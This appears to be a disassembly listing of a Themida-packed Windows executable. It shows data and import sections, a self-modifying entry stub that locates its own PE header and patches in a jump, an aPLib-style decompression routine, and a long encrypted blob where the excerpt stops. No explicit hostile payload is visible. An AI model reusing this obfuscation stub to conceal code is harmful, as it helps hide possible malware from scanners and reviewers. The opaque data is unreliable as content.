sub_42495A+46r word_4D99E2 dw 0 ; DATA XREF: sub_4246FC:loc_424773r ; sub_42495A+78r ... word_4D99E4 dw 0 ; DATA XREF: sub_42495A+67r word_4D99E6 dw 0 ; DATA XREF: sub_42495A+70r ; sub_42495A:loc_4249DEr word_4D99E8 dw 0 ; DATA XREF: sub_42495A+5Dr word_4D99EA dw 0 ; DATA XREF: sub_42495A+55r word_4D99EC dw 0 ; DATA XREF: sub_42495A+4Dr word_4D99EE dw 0 ; DATA XREF: sub_42495A+3Er dword_4D99F0 dd 0 ; DATA XREF: sub_4246FC+80r dword_4D99F4 dd 0 ; DATA XREF: sub_4246FC+132r ; sub_4246FC:loc_424848r ... dword_4D99F8 dd 0 ; DATA XREF: sub_4246E7r sub_4246E7+Ew dword_4D99FC dd 0 ; DATA XREF: sub_424C88+3r ; sub_424C88+2Ew ... dword_4D9A00 dd 0 ; DATA XREF: sub_424C88+43w ; sub_424C88:loc_424CD7r dword_4D9A04 dd 0 ; DATA XREF: sub_424C88+4Aw ; sub_424C88+60r dword_4D9A08 dd 0 ; DATA XREF: sub_42393B+3Fr dword_4D9A0C dd 0 ; DATA XREF: sub_425831:loc_425898r ; sub_425831+6Do dword_4D9A10 dd 0 ; DATA XREF: sub_425831:loc_42586Fr ; sub_425831+44o dword_4D9A14 dd 0 ; DATA XREF: sub_425831:loc_425862r ; sub_425831+37o dword_4D9A18 dd 0 ; DATA XREF: sub_425831:loc_42587Cr ; sub_425831+51o align 10h dword_4D9A20 dd 0 ; DATA XREF: sub_425DDF+28r ; sub_425DDF+48w ... dword_4D9A24 dd 0 ; DATA XREF: sub_4268F1+28r ; sub_4268F1+4Cw ... dword_4D9A28 dd 0 ; DATA XREF: sub_426B7C+26r ; sub_426B7C:loc_426BE6w byte_4D9A2C db 0 ; DATA XREF: sub_40DB2Dr sub_40DB2D+9w align 10h dword_4D9A30 dd 2434968h ; DATA XREF: sub_41E390:loc_41E3A1r ; sub_41F3D2+14r ... align 10h dword_4D9A40 dd 400h dup(0) ; DATA XREF: ___:off_43AD78o ; ___:0043AD80o dword_4DAA40 dd 200h ; DATA XREF: sub_41E390+9r ; sub_41E390+56r ... dd 7 dup(0) dword_4DAA60 dd 28E0EF0h ; DATA XREF: sub_41EF78+75r ; sub_41F051+2Ar ... dword_4DAA64 dd 3Fh dup(0) ; DATA XREF: ___:0042329Co dword_4DAB60 dd 20h ; DATA XREF: sub_41E212+8r ; sub_41F051+Cr ... dword_4DAB64 dd 4E4h ; DATA XREF: sub_41FDDE+14r ; sub_41FDDE+65w ... align 10h dword_4DAB70 dd 3 dup(0) ; DATA XREF: sub_41FDDE+123o ; sub_41FDDE+171o ... dword_4DAB7C dd 0 ; DATA XREF: sub_41FDDE+108w ; sub_41FDDE+15Dw ... byte_4DAB80 db 0 ; DATA XREF: sub_42001D:loc_420129w ; sub_42001D:loc_420146w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DAC80 db 0 ; DATA XREF: sub_41FDDE+5Co ; sub_41FDDE+AFo ... byte_4DAC81 db 0 ; DATA XREF: sub_41C151+5Dr ; sub_41FDDE+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DAD84 dd 0 ; DATA XREF: sub_41FDDE+6Ew ; sub_41FDDE+12Bw ... dword_4DAD88 dd 10h ; DATA XREF: sub_41EAD6+5r ; sub_41EAD6+32w dword_4DAD8C dd 0 ; DATA XREF: sub_41E4A2+239r ; sub_41E4A2+259r ... dword_4DAD90 dd 2430650h ; DATA XREF: sub_41E4A2+310w ; sub_41E7CD:loc_41E81Dr ... dword_4DAD94 dd 0 ; DATA XREF: sub_41E4A2+22Cr ; sub_41E4A2+25Fr ... dword_4DAD98 dd 1 ; DATA XREF: sub_41E477r ; sub_41E4A2+2CAr ... dword_4DAD9C dd 2430650h ; DATA XREF: sub_41E477+8r ; sub_41E4A2+2CFr ... dword_4DADA0 dd 2430000h ; DATA XREF: sub_41BA31+21r ; sub_41BB48+A9r ... dword_4DADA4 dd 142340h ; DATA XREF: ___:00422D89r ; ___:00422EB4r dword_4DADA8 dd 1 ; DATA XREF: ___:00422E7Fw sub_4259A3r dword_4DADAC dd 1 ; DATA XREF: sub_4201A2r ; sub_4201A2+11w ... dword_4DADB0 dd 28E0E60h ; DATA XREF: sub_41BF53+3Er ; sub_41D743+13r ... dword_4DADB4 dd 28E0E60h ; DATA XREF: sub_41BF53+35r ; sub_41BF53+57r ... dd 92h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DC000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DD000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DD050h, 0DD000h, 3 dup(0) dd 0DD079h, 0DD00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000DE000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4DE000h dd 0A469F48Fh, 48909h, 5400Ah, 93172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053A752 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053DA8B SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053DD01 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4DE086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4DE041 popa jmp short loc_4DE076 ; --------------------------------------------------------------------------- a7rm db 'Û-7àM',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4DE041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4DE04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4DE06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4DE074 loc_4DE06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4DE04E ; --------------------------------------------------------------------------- loc_4DE074: ; CODE XREF: start+57j mov edi, eax loc_4DE076: ; CODE XREF: start+1Bj jmp loc_4DE265 ; --------------------------------------------------------------------------- db 3 aJt db 'ǹjâ',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4DE086: ; CODE XREF: start+8j mov eax, offset loc_53A752 mov ecx, offset word_4DE26A push eax push ecx call sub_4DE11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4DE265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4DE11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4DE127: ; CODE XREF: sub_4DE11B:loc_4DE13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4DE132: ; CODE XREF: sub_4DE11B+7Aj ; sub_4DE11B+C3j ... add dl, dl jnz short loc_4DE13B mov dl, [esi] inc esi adc dl, dl loc_4DE13B: ; CODE XREF: sub_4DE11B+19j jnb short loc_4DE127 add dl, dl jnz short loc_4DE146 mov dl, [esi] inc esi adc dl, dl loc_4DE146: ; CODE XREF: sub_4DE11B+24j jnb short loc_4DE197 xor eax, eax add dl, dl jnz short loc_4DE153 mov dl, [esi] inc esi adc dl, dl loc_4DE153: ; CODE XREF: sub_4DE11B+31j jnb loc_4DE238 add dl, dl jnz short loc_4DE162 mov dl, [esi] inc esi adc dl, dl loc_4DE162: ; CODE XREF: sub_4DE11B+40j adc eax, eax add dl, dl jnz short loc_4DE16D mov dl, [esi] inc esi adc dl, dl loc_4DE16D: ; CODE XREF: sub_4DE11B+4Bj adc eax, eax add dl, dl jnz short loc_4DE178 mov dl, [esi] inc esi adc dl, dl loc_4DE178: ; CODE XREF: sub_4DE11B+56j adc eax, eax add dl, dl jnz short loc_4DE183 mov dl, [esi] inc esi adc dl, dl loc_4DE183: ; CODE XREF: sub_4DE11B+61j adc eax, eax jz short loc_4DE18D push edi sub edi, eax mov al, [edi] pop edi loc_4DE18D: ; CODE XREF: sub_4DE11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE197: ; CODE XREF: sub_4DE11B:loc_4DE146j mov eax, 1 loc_4DE19C: ; CODE XREF: sub_4DE11B:loc_4DE1B0j add dl, dl jnz short loc_4DE1A5 mov dl, [esi] inc esi adc dl, dl loc_4DE1A5: ; CODE XREF: sub_4DE11B+83j adc eax, eax add dl, dl jnz short loc_4DE1B0 mov dl, [esi] inc esi adc dl, dl loc_4DE1B0: ; CODE XREF: sub_4DE11B+8Ej jb short loc_4DE19C sub eax, ebx mov ebx, 1 jnz short loc_4DE1E3 mov ecx, 1 loc_4DE1C0: ; CODE XREF: sub_4DE11B:loc_4DE1D4j add dl, dl jnz short loc_4DE1C9 mov dl, [esi] inc esi adc dl, dl loc_4DE1C9: ; CODE XREF: sub_4DE11B+A7j adc ecx, ecx add dl, dl jnz short loc_4DE1D4 mov dl, [esi] inc esi adc dl, dl loc_4DE1D4: ; CODE XREF: sub_4DE11B+B2j jb short loc_4DE1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE1E3: ; CODE XREF: sub_4DE11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4DE1F1: ; CODE XREF: sub_4DE11B:loc_4DE205j add dl, dl jnz short loc_4DE1FA mov dl, [esi] inc esi adc dl, dl loc_4DE1FA: ; CODE XREF: sub_4DE11B+D8j adc ecx, ecx add dl, dl jnz short loc_4DE205 mov dl, [esi] inc esi adc dl, dl loc_4DE205: ; CODE XREF: sub_4DE11B+E3j jb short loc_4DE1F1 cmp eax, 7D00h jnb short loc_4DE228 cmp eax, 500h jb short loc_4DE223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE223: ; CODE XREF: sub_4DE11B+F8j cmp eax, 7Fh ja short loc_4DE22B loc_4DE228: ; CODE XREF: sub_4DE11B+F1j add ecx, 2 loc_4DE22B: ; CODE XREF: sub_4DE11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE238: ; CODE XREF: sub_4DE11B:loc_4DE153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4DE259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE259: ; CODE XREF: sub_4DE11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4DE11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4DE265: ; CODE XREF: start:loc_4DE076j ; start+9Dj jmp loc_53A752 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4DE26A dw 38E9h ; DATA XREF: start+77o dd 1573334h, 8B98FCEFh, 0CEAB2B84h, 0BEFA1001h, 7FF40126h dd 0D501A3D7h, 2D3430C0h, 0D7449431h, 7501875Eh, 621D22F1h dd 37FAAA18h, 0F7080311h, 81724F9h, 5203DED7h, 61747365h dd 70419972h, 78E92EC5h, 0EC2A84F3h, 7B848B92h, 60F2F5EAh dd 0DC35FCABh, 45FE2303h, 7515C221h, 0E103A850h, 71A2FE1Bh dd 0C0AB102Eh, 6D656854h, 61643869h, 3688EE47h, 0F2AF42B8h dd 1EE11E33h, 728BFCEBh, 60D41CC5h, 5D0022E8h, 3343ED81h dd 7889064Eh, 0D306195h, 132C35B5h, 15EA85h, 1A39BD83h dd 0C748083h, 27E8728Bh, 0D9C9B8E2h, 701CEFC2h, 3E712444h dd 6A00198Dh, 0A360E845h, 749A6829h, 50077A83h, 1E250ADFh dd 910A894Bh, 14E90AD5h, 0D057EC02h, 0EC0A8B55h, 0EED8C483h dd 0EA815AC0h, 8B344031h, 45C7DA09h, 18081BD8h, 889400Eh dd 80FC7D81h, 0F741DC6h, 24087F20h, 98109B83h, 0EB4312FFh dd 0DC36E163h, 14267461h, 4604C2C9h, 7CC48106h, 498E02FFh dd 18D7A44h, 5D8B8045h, 4485C708h, 8D504A19h, 0C3D1000Ah dd 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h, 64BA8D28h dd 800475ECh, 0F4BB0E8Ah, 0ABB85B90h, 78540F37h, 0FCCD0D3h dd 753B4B08h, 0C3AF05F7h, 4A244647h, 0A2F94662h, 0BA61D142h dd 0F0D0078Ah, 45EED85Fh, 0EB4DA0FCh, 0C8ADA304h, 0C53E8046h dd 36BAF740h, 7DE63484h, 7FEB0C19h, 6D0CF83Eh, 4CF012C8h dd 10A8F40Eh, 6514C14Ah, 3D604F0h, 3E0D1F8h, 12896C2h dd 1C8ADB33h, 0CCFB8030h, 0AC30A72h, 0D3057739h, 2226EFEBh dd 67617F14h, 0F6660A0Dh, 0F4F51E08h, 10EA0AC3h, 72411AC3h dd 460A0D0Bh, 0EA240677h, 0F05D0121h, 83F4EC87h, 7202317Dh dd 0C00CB3B0h, 64A57676h, 1CF826AAh, 0A08D76E0h, 0A553BA8h dd 78820FFCh, 1BB09CBDh, 0EE538AAh, 0B90E08BAh, 84FC700Ah dd 35C0BDh, 49470FFEh, 0B9FA1C75h, 0C06A5D22h, 0EE101BBh dd 0EB7682F1h, 8E8002DDh, 4F37C486h, 65513807h, 0DC45363Fh dd 13EF268Ah, 5947E4E9h, 9651F76Bh, 217A1304h, 8A06C47Ch dd 82052545h, 21166009h, 5BC45141h, 0BC67D50Eh, 82073D75h dd 2C00C8DCh, 0C009E9C3h, 4CBD582Bh, 0E4006A64h, 0C48242F6h dd 1D766187h, 91105C31h, 9CF93302h, 81FE01F1h, 0CB8CDEDCh dd 5C00C334h, 765B4E39h, 0FB8100Fh, 0D1043D51h, 46CC3B8Eh dd 93A7540h, 0E11B02Eh, 14E4EC48h, 74069065h, 5C58401h dd 52D7968Eh, 2A3C5391h, 2829C204h, 6D85718Ch, 0D9A60EE7h dd 812B86FFh, 220477h, 84C1341Dh, 207533F9h, 3B3FBCC8h dd 0EF360ABBh, 4138F430h, 7F8C99ECh, 40F9FFCCh, 0E9FE450Ch dd 620060A5h, 4D8C52C4h, 82110825h, 0AB4CB1AAh, 1384D05Ah dd 60F7568Ah, 0E2EE825Eh, 188481AAh, 0AA8A4FA0h, 232013B9h dd 94439752h, 8C1BE819h, 6F06E300h, 0FDC37034h, 0EA6E28B8h dd 0AFDC002Dh, 67F2C941h, 0EFADA8Dh, 0BC8F1BC0h, 2C25CCB1h dd 0FB8C76h, 960B428Ah, 8DC8E281h, 0C460C358h, 187D8A91h dd 58488815h, 523BC403h, 1B198B10h, 0B14EA17h, 916C00E7h dd 5E00ECCDh, 0ED5BF830h, 0B82F2Ah, 887E802Bh, 0CA0B5C06h dd 37861014h, 112221h, 8CFAD47Fh, 7536AF77h, 3D658D00h dd 0A2067818h, 0CC82000Ch, 6141B3BAh, 4A2886C8h, 86A4C127h dd 0EADC72A0h, 30004EA3h, 540CD0B7h, 0A4A2C881h, 0BC01441Bh dd 0DE159907h, 0D2F38A40h, 0E91E2826h, 0ADC0211h, 8B0DC50Fh dd 0E1BDC440h, 5C4D9406h, 250CEAh, 0B244C0E2h, 97F3A498h dd 0E062B374h, 2425CA50h, 17CF400Bh, 7CAF5F11h, 5C14098Eh dd 9A060A3h, 23C88237h, 612A6F60h, 0C0038310h, 62CC8C39h dd 1C625669h, 9E5AF610h, 0C90200C5h, 6C2EA979h, 0F03BB0EFh dd 31EB8180h, 39E1DDFh, 38C0D9C9h, 350D60EAh, 2F6CEE6Fh dd 0D148E200h, 79B5AA34h, 0F9590175h, 0D768F182h, 0C1C620B6h dd 507D7309h, 0D361824h, 857426AFh, 6490038h, 2CE7FB5Dh dd 44308160h, 3E12D50Dh, 0DD80BB51h, 8900166h, 353F084h dd 0FC0F00A3h, 822C6E5Ah, 1ABC07FEh, 1E504E55h, 194628C0h dd 0EA24843Eh, 16112002h, 25B0F63Ch, 5F09B20Dh, 69D05700h dd 6AF90EA4h, 0A6202FBh, 83EA5845h, 48D194C8h, 31525A00h dd 0BD87BF60h, 81070169h, 846CB11Ch, 0C46AF055h, 0A12D3Fh dd 5C2EB03Dh, 17738749h, 781E01h, 55C7F57Ah, 2D01E071h dd 0B3666AA2h, 32834CE9h, 0A10FFC3h, 0AC3983E0h, 2E8DB71Dh dd 23ABED06h, 0DE713030h, 863C5839h, 6D927926h, 1A4CC91Ch dd 0C02BA0A0h, 6D9CC420h, 3A0CC7D3h, 39D87102h, 0C5E1031Ch dd 428BE70Bh, 6A126C0h, 9FB22B00h, 0CC45EB50h, 647CEFh dd 0FB1E2ACh, 0BBE92185h, 0B6CD3B0Fh, 0BA3AC73Eh, 2A2F1FF0h dd 0E610658h, 7938BEA8h, 51025C1Eh, 5F1280BBh, 55D25B89h dd 0CCD00D5h, 0B73591E9h, 91DCDD74h, 112FAE80h, 0A03ED0B1h dd 70FE0D8h, 0D529BDEBh, 33239079h, 2E3CC4CAh, 6058BA52h dd 715D0338h, 972C003Bh, 2B0F92Ah, 4185FD9h, 0DE184999h dd 1E2FE10h, 0D846F6B7h, 0F226D707h, 0D0C7F1E3h, 7A275BE6h dd 0F2129D00h, 213C6347h, 4A32068Bh, 86E033Bh, 0F8E42C00h dd 11478631h, 0CBC50446h, 802A7052h, 0E8D98886h, 8E949800h dd 22A77933h, 0A380C193h, 9B0D27D6h, 788160h, 0AB70E18h dd 0E82F697Eh, 440C07F6h, 2130F964h, 0A9A3015Bh, 9A03AA15h dd 1A90843Bh, 0ACC0D1F3h, 30AFAE74h, 334061C6h, 0B730F9FDh dd 0CC39B842h, 0D74511B1h, 0A1206156h, 8C01619Bh, 0BFB0C42Dh dd 4013C630h, 327D732h, 2E167FA0h, 990F42AFh, 189A1F33h dd 0EAD88239h, 3D8B0608h, 0E140CD9Bh, 0D2D0070Fh, 0FCD7A18Ah dd 26C08B12h, 882C01DCh, 95FE1737h, 5F2DEC7Ch, 0A3071602h dd 802E73F6h, 7B56F988h, 0A87467BAh, 0B9CC0093h, 5B055C38h dd 215F423Ah, 0D3648840h, 3FF63714h, 2A7B2B76h, 0FCF09BA6h dd 9C2852FBh, 7E38C01h, 8C7B87AAh, 6166BBF1h, 0D4410089h dd 4EBE98A6h, 0DC005176h, 0F54C2823h, 7BC39F0h, 813325F8h dd 0FD32F0CAh, 64119466h, 28732AFFh, 223C9DB9h, 0AE0A26F8h dd 9C6D46A7h, 0E835A00Ah, 658B1A02h, 0BFD8A35Ch, 0E800A496h dd 6803130Ah, 0F4A5D0A8h, 73916A07h, 5F60EF79h, 14A366A2h dd 9475E3E6h, 0AB99F206h, 1EF8D072h, 197DA030h, 8064B7A1h dd 0FD018A74h, 0E31A94B6h, 7880326Dh, 4F76E2A8h, 1E30A775h dd 2C5A165h, 0F4641850h, 3CCEC111h, 0D3F3E8A8h, 7AAFD00h dd 6A6D1241h, 7309710Fh, 584C0F87h, 0B2CD6A8h, 89064D80h dd 11831E23h, 67780010h, 0A1FF7F50h, 98C06833h, 318B19C5h dd 2C90C234h, 0A0A092ABh, 3FF9FB97h, 670A048h, 1CFF643h dd 0CA9E5C48h, 6000F042h, 4113AE70h, 0AC00596Eh, 445B2BD3h dd 60CE2271h, 9697B93Eh, 5F0E37A9h, 0A005F7FCh, 0E689D93Fh dd 76D409B3h, 74048B36h, 23CE0670h, 0AB790039h, 0F3094A1Eh dd 4400A931h, 8F46FA8Eh, 3EF5F6D5h, 0F4D26472h, 238C5903h dd 11012D5Fh, 795BF20Eh, 0C0F3482Ah, 658BBCD6h, 4062C09Dh dd 0D4FCC6F0h, 0BB00DABAh, 556BF4A6h, 12246CAFh, 0F78D76h dd 0E88F5CC0h, 0B0A0454Dh, 7C802FCFh, 22499B0h, 10DFE643h dd 0D3412900h, 517D03D7h, 23571EA6h, 462B1801h, 24FF63C8h dd 0B726A182h, 4C4E17EEh, 3E4D8310h, 0E88C9001h, 87431DEBh dd 0E1DFB010h, 2C0CA079h dd 91E5293Fh, 0F9F80238h, 0CF0F49C6h, 0A8E44A0Eh, 713B6E0Ch dd 0D4DF10AAh, 54941C0Ch, 799FC84Ch, 0DBFD31ECh, 2777B0h dd 1CA0E6F5h, 0FD240F9Fh, 0EC752100h, 8A39C3C4h, 584D4800h dd 6DBF4F15h, 5A200A5h, 9EB85DFBh, 0E80EEB78h, 8006B0BBh dd 3D24F4A4h, 82CF1CA7h, 23B74FA2h, 7C660303h, 6337F7E0h dd 0EC4C2F00h, 0E305889Fh, 39B0015Dh, 0A88BFFB2h, 0B83A7033h dd 62ECE500h, 38EBAFD4h, 24A0E60Dh, 1A42C64h, 0C7A14C9Eh dd 380436Bh, 29CC048Dh, 76088C34h, 676D8B01h, 17F69FC9h dd 99B9B230h, 3D720040h, 0B18C872Bh, 2120702h, 0E0D49ADEh dd 560B21Ah, 0D0CD017Fh, 433447FDh, 30F55D6h, 14C6BA98h dd 25BD5A14h, 8C3F01D8h, 39311D32h, 698472CDh, 962EAC7Ch dd 0E409201Ch, 0A971DFADh, 2BE007F8h, 139A94h, 0BA5D410h dd 0B0072E15h, 0C6B7312Ah, 1EF56461h, 3DCED98Ch, 1600A551h dd 34CA430Dh, 0F6B5E1h, 8F58C32Dh, 5C6C51A6h, 2861A803h dd 481A4AAFh, 2522A070h, 8EB23F00h, 0D6A70D9Bh, 1889A63h dd 9250073Eh, 3421B5F6h, 6720AC14h, 71BA304Ah, 4253E5D9h dd 7F2478EEh, 508A68BFh, 6440B0BAh, 0E8CDB9Bh, 725BA780h dd 8FAB5AE1h, 50E34008h, 5C0CD077h, 0E62FFBAh, 0BFAD0C4Eh dd 0ED887A12h, 398A420Bh, 0E84813E7h, 0A96EBB92h, 918061F8h dd 62F67A24h, 3907B12Dh, 0A0F1C77Bh, 90299813h, 408777Ch dd 4C8D1FEEh, 0BBE4C1E5h, 0D64D0021h, 0F5633AFCh, 0A2852858h dd 0AFC4309Ch, 2D1F2213h, 7944F946h, 98D6D5A8h, 297F4498h dd 0C9F2B000h, 59FBC447h, 0F859C4D7h, 3ACE4782h, 837B0048h dd 0DE28D192h, 0EB739800h, 6D3C0F89h, 0D6BA0202h, 26FF1139h dd 8891902Ch, 0F17B3C3h, 34407AB7h, 39ED4C32h, 7CEF481Ah dd 0F22A9300h, 45A2E867h, 80D8044Ch, 3571F9BBh, 9C7824ACh dd 106A133Dh, 641274FCh, 330820FDh, 3728EEA3h, 0B4509022h dd 0B4A897CCh, 0FE324693h, 8003C92Bh, 888ABD20h, 983601D0h dd 0C5DCA7A9h, 7758706Ch, 7ADBFA10h, 0D71CD200h, 0F3790B3Bh dd 2C3F9924h, 4461A788h, 4058407Bh, 3A8916Dh, 3AD89A19h dd 62D0F0D7h, 9228AFE1h, 0ACA08075h, 28A22A3h, 130C7ECh dd 20EE3E2Ah, 0AE282CA8h, 7D443063h, 0D70A00F1h, 15A85B3h dd 0A82CA709h, 161124B1h, 73755007h, 57CC9010h, 500BE18h dd 44CED1Ah, 98ADAFF0h, 0F21F0B0Fh, 4A167FFh, 6694CEh dd 0C428AA7Ch, 88E43999h, 0F17BF260h, 0E6316162h, 9272208Eh dd 18C16D73h, 7C2FCEA7h, 0AFA94D00h, 5FCC4E02h, 0C6FE6429h dd 0C1DF3C24h, 0BA0194C0h, 0FB7A8A31h, 0E8032291h, 2EB79010h dd 0C2F11470h, 0BF185453h, 0D8A91911h, 521F5240h, 4D0BF4CAh dd 5C30F3AFh, 0BE20B7AEh, 8ABA2472h, 0BB7C8F50h, 1E1174D4h dd 1252196Fh, 0D8F0C239h, 4EB73D75h, 7963E400h, 0EDD641FEh dd 808E5130h, 6789229h, 0BDE37A42h, 0F54CC03Bh, 88FB2E78h dd 608BF658h, 0A2AD60E9h, 0F5077F19h, 6BB5C51Ah, 580381A1h dd 2088C9A0h, 751D42B9h, 218289EEh, 0C1C37696h, 0CC491136h dd 7CF7C001h, 77A7A600h, 9E6BA21Fh, 0DAFD01FCh, 9F6FF1FFh dd 515F1080h, 8AB4D672h, 0DB60A9F8h, 4EA82A39h, 63FE0630h dd 0B029E2F3h, 0B93BCD30h, 0A28E0Ch, 1AA0C2DFh, 0B7E9CB41h dd 0A826400h, 28AE03C1h, 816C945Fh, 0D041477Eh, 0C7C2E809h dd 0B2128A77h, 0D004644Ch, 80050497h, 2BBC06E0h, 5F52703Ch dd 0BE1A1CBCh, 0AB5C1640h, 0F27EFEh, 5BF97008h, 5D5256E2h dd 85E0E539h, 7CBB8CEBh, 0F08E8440h, 0BEE76F9h, 18CADBB0h dd 276E9281h, 98E02C37h, 38BC01FAh, 0E100653Dh, 8F602FDAh dd 942628CBh, 0FC039C8Bh, 0EE5FB306h, 23030F91h, 544046C6h dd 9ABDC95Dh, 0FC02744Bh, 58E1F31Ah, 484892A4h, 0A7C23CF9h dd 48096C3Ah, 831A2ED4h, 21A93810h, 0A1798A81h, 23850722h dd 70AC4C2h, 0D0F4C5FEh, 0FC648C94h, 6561276Eh, 9C30A3E9h dd 1839Bh, 141FB973h, 592753D3h, 962D1600h, 0FB9194AEh dd 459F05FCh, 43831EA4h, 93F9F2C4h, 0A71083A4h, 0E0495EE2h dd 447252h, 0A12602C2h, 3F0CB39h, 1EA39C88h, 28281BF7h dd 3B534060h, 0B1A58804h, 88654160h, 820FA179h, 6601D6ADh dd 30B0D80Ch, 0DD407780h, 305025F3h, 81005194h, 0C95F17CEh dd 70612h, 0B73527A8h, 1A7CD29h, 1E3E98A5h, 4513FFA2h dd 1DE21444h, 2318A4h, 0E3DC8943h, 159FAB19h, 701C3501h dd 0A1DF3BC9h, 18E67074h, 8053DEF3h, 1978FC3Ch, 106B0B30h dd 50BB2D4Dh, 0C12B7476h, 70B03908h, 80A4F37Fh, 30073610h dd 55C470FDh, 8F2F89C6h, 0B7D24CE1h, 761A7C00h, 4C938607h dd 29599134h, 8C05B40Ah, 0D4DE15B8h, 0E39850A4h, 882FC131h dd 848EDB0h, 29A1F3CEh, 0B4AF44ACh, 2106E098h, 374FD7B0h dd 0F5C80CE8h, 30795DA1h, 0A7B53406h, 90214BD7h, 2BA22298h dd 0F532ED0Ah, 0E8851889h, 8C4277EBh, 829795A8h, 6B76AF88h dd 737A9068h, 0F7E5009Fh, 31835022h, 39019BB0h, 945D3C4Ah dd 41870FE3h, 6AB9EE46h, 54D180ACh, 